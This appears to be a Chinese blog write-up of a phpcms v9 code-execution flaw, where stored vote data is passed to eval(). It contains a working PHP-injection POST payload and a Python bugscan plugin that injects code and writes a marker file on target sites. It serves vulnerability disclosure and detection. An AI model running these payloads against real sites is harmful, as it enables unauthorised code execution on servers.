• phpcms前台任意代码执行漏洞(php<5.3)


    phpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞
    /phpsso_server/phpcms/libs/functions/global.func.php
    
    /**
    * 将字符串转换为数组
    *
    * @param    string    $data    字符串
    * @return    array    返回数组格式,如果,data为空,则返回空数组
    */
    function string2array($data) {
    if($data == '''') return array();
    eval("$array = $data;");
    return $array;
    }
    在文件/phpcms/modules/vote/index.php中,我们找到它的执行流程
    
    /**
    * 处理投票
    */
    public function post(){
    $subjectid = intval($_POST[''subjectid'']);
    if(!$subjectid)    showmessage(L(''vote_novote''),''blank'');
    //当前站点
    $siteid = SITEID;
    //判断是否已投过票,或者尚未到第二次投票期
    $return = $this->check($subjectid);
    switch ($return) {
    case 0:
      showmessage(L(''vote_voteyes''),"?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
      break;
    case -1:
      showmessage(L(''vote_voteyes''),"?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
      break;
    }
    if(!is_array($_POST[''radio''])) showmessage(L(''vote_nooption''),''blank'');
        $time = SYS_TIME;
       $data_arr = array();
      foreach($_POST[''radio''] as $radio){  //接收POST传递的radio并转换为$radio数组
      $data_arr[$radio]=''1'';
      }
      $new_data = array2string($data_arr);//转成字符串存入数据库中  
      //添加到数据库
    $this->vote_data->insert(array(''userid''=>$this->userid,''username''=>$this->username,''subjectid''=>$subjectid,''time''=>$time,''ip''=>$this->ip,''data''=>$new_data));
    //把字符串$new_data放到data里面
    //查询投票奖励点数,并更新会员点数
    $vote_arr = $this->vote->get_one(array(''subjectid''=>$subjectid));
      pc_base::load_app_class(''receipts'',''pay'',0);
    receipts::point($vote_arr[''credit''],$this->userid, $this->username, '''',''selfincome'',L(''vote_post_point''));
    //更新投票人数
    $this->vote->update(array(''votenumber''=>''+=1''),array(''subjectid''=>$subjectid));
    showmessage(L(''vote_votesucceed''), "?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
    }
    /**
    *
    * 投票结果显示
    */
    public function result(){
    $siteid = SITEID;
    $subjectid = abs(intval($_GET[''subjectid'']));
    if(!$subjectid)    showmessage(L(''vote_novote''),''blank'');
    //取出投票标题
    $subject_arr = $this->vote->get_subject($subjectid);
    if(!is_array($subject_arr)) showmessage(L(''vote_novote''),''blank'');
    extract($subject_arr);
    //获取投票选项
    $options = $this->vote_option->get_options($subjectid);
    //新建一数组用来存新组合数据
            $total = 0;
            $vote_data =array();
    $vote_data[''total''] = 0 ;//所有投票选项总数
    $vote_data[''votes''] = 0 ;//投票人数
    //获取投票结果信息
            $infos = $this->vote_data->select(array(''subjectid''=>$subjectid),''data'');
    //循环每个会员的投票记录
    foreach($infos as $subjectid_arr) {
    extract($subjectid_arr);
    $arr = string2array($data);//调用了string2array进入eval函数
    foreach($arr as $key => $values){
    $vote_data[$key]+=1;
    }
    $total += array_sum($arr);
    $vote_data[''votes'']++ ;
    }
    $vote_data[''total''] = $total ;
    //SEO设置
    $SEO = seo(SITEID, '''', $subject, $description, $subject);
       include template(''vote'',''vote_result'');
    }
    所以执行的过程就是
    1.首先找到一个可以投票的id参数subjectid
    2.发起投票,post数据
    
    /index.php?m=vote&c=index&a=post&subjectid=xxx&siteid=1
    subjectid=1&radio[]=);fputs(fopen(base64_decode(cmVhZG1lLnBocA),w),"vulnerable test");
    3.然后我们再查看result,触发string2array函数
    
    /index.php?m=vote&c=index&a=result&subjectid=xxx&siteid=1
    4.再看看是否有readme.php文件存在。
    附上一个用于bugscan检测脚本
    Python
    
    # !/usr/bin/dev python
    # -*- coding:utf-8 -*-
     
    import re
    import urllib
    import urllib2
     
     
    def get_vote_links(args):
        vul_url = args
        vote_url = ''%sindex.php?m=vote'' % vul_url
        code, head, res, _, _ = curl.curl(vote_url)
        ids = []
        for miter in re.finditer(r''<a href=.*?subjectid=(?P<id>d+)'', res, re.DOTALL):
            ids.append(miter.group(''id''))
        if len(ids) == 0:
            return None
     
        return list(set(ids))
     
     
    def assign(service, args):
        if service == ''phpcms'':
            return True, args
        pass
     
     
    def audit(args):
        vul_url = args
        ids = get_vote_links(args)
        if ids:
            for i in ids:
                exploit_url = ''%sindex.php?m=vote&c=index&a=post&subjectid=%s&siteid=1'' % (vul_url, i)
                payload = {''subjectid'': 1,
                           ''radio[]'': '');fputs(fopen(base64_decode(YnVnc2Nhbi5waHA=),w),"vulnerable test");''}
                post_data = urllib.urlencode(payload)
                curl.curl(''-d "%s" %s'' % (post_data, exploit_url))
                verify_url = ''%sindex.php?m=vote&c=index&a=result&subjectid=%s&siteid=1'' % (vul_url, i)
                curl.curl(verify_url)
                shell_url = ''%sbugscan.php'' % vul_url
                code, head, res, _, _ = curl.curl(shell_url)
                if code == 200 and ''vulnerable test'' in res:
                    security_hole(vul_url)
        pass
     
     
    if __name__ == "__main__":
        from dummy import *
        audit(assign(''phpcms'', ''http://www.example.com/'')[1])
  • 相关阅读:
    微信小程序wx.uploadFile 上传文件 的两个坑
    小程序 滚动wx.pageScrollTo
    scss定义全局变量引入sass-resources-loader报错
    mac 创建多个全局Path
    《node.js开发指南》partial is not defined的解决方案
    jq 将translate的旋转角度转为数值
    js浮点金额计算精度
    移动端页面弹窗滚动,页面也随之滚动解决方案
    js 禁止右击保存图片,禁止拖拽图片
    小程序md5加密
  • 原文地址:https://www.cnblogs.com/dongchi/p/4466059.html
Copyright © 2020-2023  润新知